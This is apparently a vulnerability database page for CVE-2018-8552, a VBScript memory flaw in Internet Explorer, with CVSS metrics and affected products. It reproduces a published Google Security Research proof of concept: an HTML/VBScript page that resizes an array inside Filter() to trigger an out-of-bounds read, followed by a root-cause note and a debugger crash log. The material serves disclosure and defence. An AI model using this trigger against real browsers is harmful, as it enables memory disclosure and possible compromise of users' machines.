CVE-2018-8552 : Detail

CVE-2018-8552

7.5
/
High
Overflow
89.68%V3
Network
2018-11-14
00h00 +00:00
2018-12-01
09h57 +00:00
CVE.org
NVD
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CVE Descriptions

An information disclosure vulnerability exists when VBScript improperly discloses the contents of its memory, which could provide an attacker with information to further compromise the user's computer or data, aka "Windows Scripting Engine Memory Corruption Vulnerability." This affects Internet Explorer 9, Internet Explorer 11, Internet Explorer 10.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 7.5 HIGH CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

High

A successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 [email protected]
V2 7.6 AV:N/AC:H/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 45924

Publication date : 2018-11-29 23h00 +00:00
Author : Google Security Research
EDB Verified : Yes

<!-- There is an out-of-bounds vulnerability in Microsoft VBScript. The vulnerability has been confirmed in Internet Explorer on Windows 7 with the latest patches applied. PoC: (Note that Page Heap might need to be enabled to observe the crash) =============================================================================== --> <!-- saved from url=(0016)http://localhost --> <meta http-equiv="x-ua-compatible" content="IE=10"> <script type="text/vbscript"> On Error Resume Next Class class1 Public Default Property Get x ReDim arr(1) End Property End Class set c = new class1 arr = Array("b", "b", "a", "a", c) Call Filter(arr, "a") </script> <!-- =============================================================================== Preliminary Analysis: The rtFilter function is called from VbsFilter when a Filter() function is invoked. The Filter() function takes an array of strings and a string as params and returns another array containing just those elements from the original array that contain the specified (sub)string. The issue is that the input array can be resized during the rtFilter call (by invoking a default getter on one of the input array members) and rtFilter fails to handle this case correctly. While rtFilter does implement some logic to determine if the input array has been resized, this logic fails to take into account elements of the input array that *do not match* the input string (Notice the "b" strings in the PoC and how the PoC would stop to work if those are all changed to "a"). Debug log: =============================================================================== (a04.604): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000000 ebx=00000002 ecx=0d9d6fe0 edx=0d9cf000 esi=0d9cf000 edi=0d924ff6 eip=767d497b esp=09d2bcbc ebp=09d2bcc8 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 OLEAUT32!VariantCopy+0xb: 767d497b 0fb73e movzx edi,word ptr [esi] ds:002b:0d9cf000=???? 0:007> r eax=00000000 ebx=00000002 ecx=0d9d6fe0 edx=0d9cf000 esi=0d9cf000 edi=0d924ff6 eip=767d497b esp=09d2bcbc ebp=09d2bcc8 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 OLEAUT32!VariantCopy+0xb: 767d497b 0fb73e movzx edi,word ptr [esi] ds:002b:0d9cf000=???? 0:007> k # ChildEBP RetAddr 00 09d2bcc8 6f81b301 OLEAUT32!VariantCopy+0xb 01 09d2bd04 6f81b607 vbscript!rtFilter+0x183 02 09d2bd40 6f805407 vbscript!VbsFilter+0x128 03 09d2bd5c 6f80358d vbscript!StaticEntryPoint::Call+0x2f 04 09d2be74 6f805d5e vbscript!CScriptRuntime::RunNoEH+0x2340 05 09d2bec4 6f805c7b vbscript!CScriptRuntime::Run+0xc3 06 09d2bfd4 6f82e888 vbscript!CScriptEntryPoint::Call+0x10b 07 09d2c038 6f80642b vbscript!CSession::Execute+0x12b 08 09d2c088 6f80bc88 vbscript!COleScript::ExecutePendingScripts+0x14f 09 09d2c104 6f80d1b9 vbscript!COleScript::ParseScriptTextCore+0x2a4 0a 09d2c130 6d577d14 vbscript!COleScript::ParseScriptText+0x29 0b 09d2c168 6d5781eb MSHTML!CActiveScriptHolder::ParseScriptText+0x51 0c 09d2c1d8 6d22d1d1 MSHTML!CScriptCollection::ParseScriptText+0x1c6 0d 09d2c2c4 6d22cd73 MSHTML!CScriptData::CommitCode+0x31e 0e 09d2c344 6d22d90d MSHTML!CScriptData::Execute+0x232 0f 09d2c364 6d554bb6 MSHTML!CHtmScriptParseCtx::Execute+0xed 10 09d2c3b8 6cf4c33d MSHTML!CHtmParseBase::Execute+0x201 11 09d2c3d4 6cf4bd5f MSHTML!CHtmPost::Broadcast+0x182 12 09d2c50c 6d013799 MSHTML!CHtmPost::Exec+0x617 13 09d2c52c 6d0136ff MSHTML!CHtmPost::Run+0x3d 14 09d2c548 6d01aef7 MSHTML!PostManExecute+0x61 15 09d2c55c 6d01bce8 MSHTML!PostManResume+0x7b 16 09d2c58c 6d0024b8 MSHTML!CHtmPost::OnDwnChanCallback+0x38 17 09d2c5a4 6cefd4f3 MSHTML!CDwnChan::OnMethodCall+0x2f 18 09d2c5f4 6cefd072 MSHTML!GlobalWndOnMethodCall+0x1a1 19 09d2c648 764262fa MSHTML!GlobalWndProc+0x103 1a 09d2c674 76426d3a user32!InternalCallWinProc+0x23 1b 09d2c6ec 764277c4 user32!UserCallWinProcCheckWow+0x109 1c 09d2c74c 7642788a user32!DispatchMessageWorker+0x3b5 1d 09d2c75c 6e2fab7c user32!DispatchMessageW+0xf 1e 09d2f928 6e3675f8 IEFRAME!CTabWindow::_TabWindowThreadProc+0x464 *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\syswow64\iertutil.dll - 1f 09d2f9e8 77006b7c IEFRAME!LCIETab_ThreadProc+0x3e7 *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files (x86)\Internet Explorer\IEShims.dll - WARNING: Stack unwind information not available. Following frames may be wrong. 20 09d2fa00 714f3a31 iertutil!PrivateCoInternetCombineIUri+0x2bbc 21 09d2fa38 7735343d IEShims!IEShims_SetRedirectRegistryForThread+0x1c1 22 09d2fa44 77879802 kernel32!BaseThreadInitThunk+0xe 23 09d2fa84 778797d5 ntdll!__RtlUserThreadStart+0x70 24 09d2fa9c 00000000 ntdll!_RtlUserThreadStart+0x1b =============================================================================== -->

Products Mentioned

Configuraton 0

Microsoft>>Internet_explorer >> Version 11

Microsoft>>Windows_10 >> Version -

Microsoft>>Windows_10 >> Version 1607

Microsoft>>Windows_10 >> Version 1703

Microsoft>>Windows_10 >> Version 1709

Microsoft>>Windows_10 >> Version 1803

Microsoft>>Windows_10 >> Version 1809

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_8.1 >> Version -

Microsoft>>Windows_rt_8.1 >> Version -

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_server_2012 >> Version r2

Microsoft>>Windows_server_2016 >> Version -

Microsoft>>Windows_server_2019 >> Version -

Configuraton 0

Microsoft>>Internet_explorer >> Version 10

Microsoft>>Windows_server_2012 >> Version -

Configuraton 0

Microsoft>>Internet_explorer >> Version 9

Microsoft>>Windows_server_2008 >> Version -

References

http://www.securityfocus.com/bid/105786
Tags : vdb-entry, x_refsource_BID
https://www.exploit-db.com/exploits/45924/
Tags : exploit, x_refsource_EXPLOIT-DB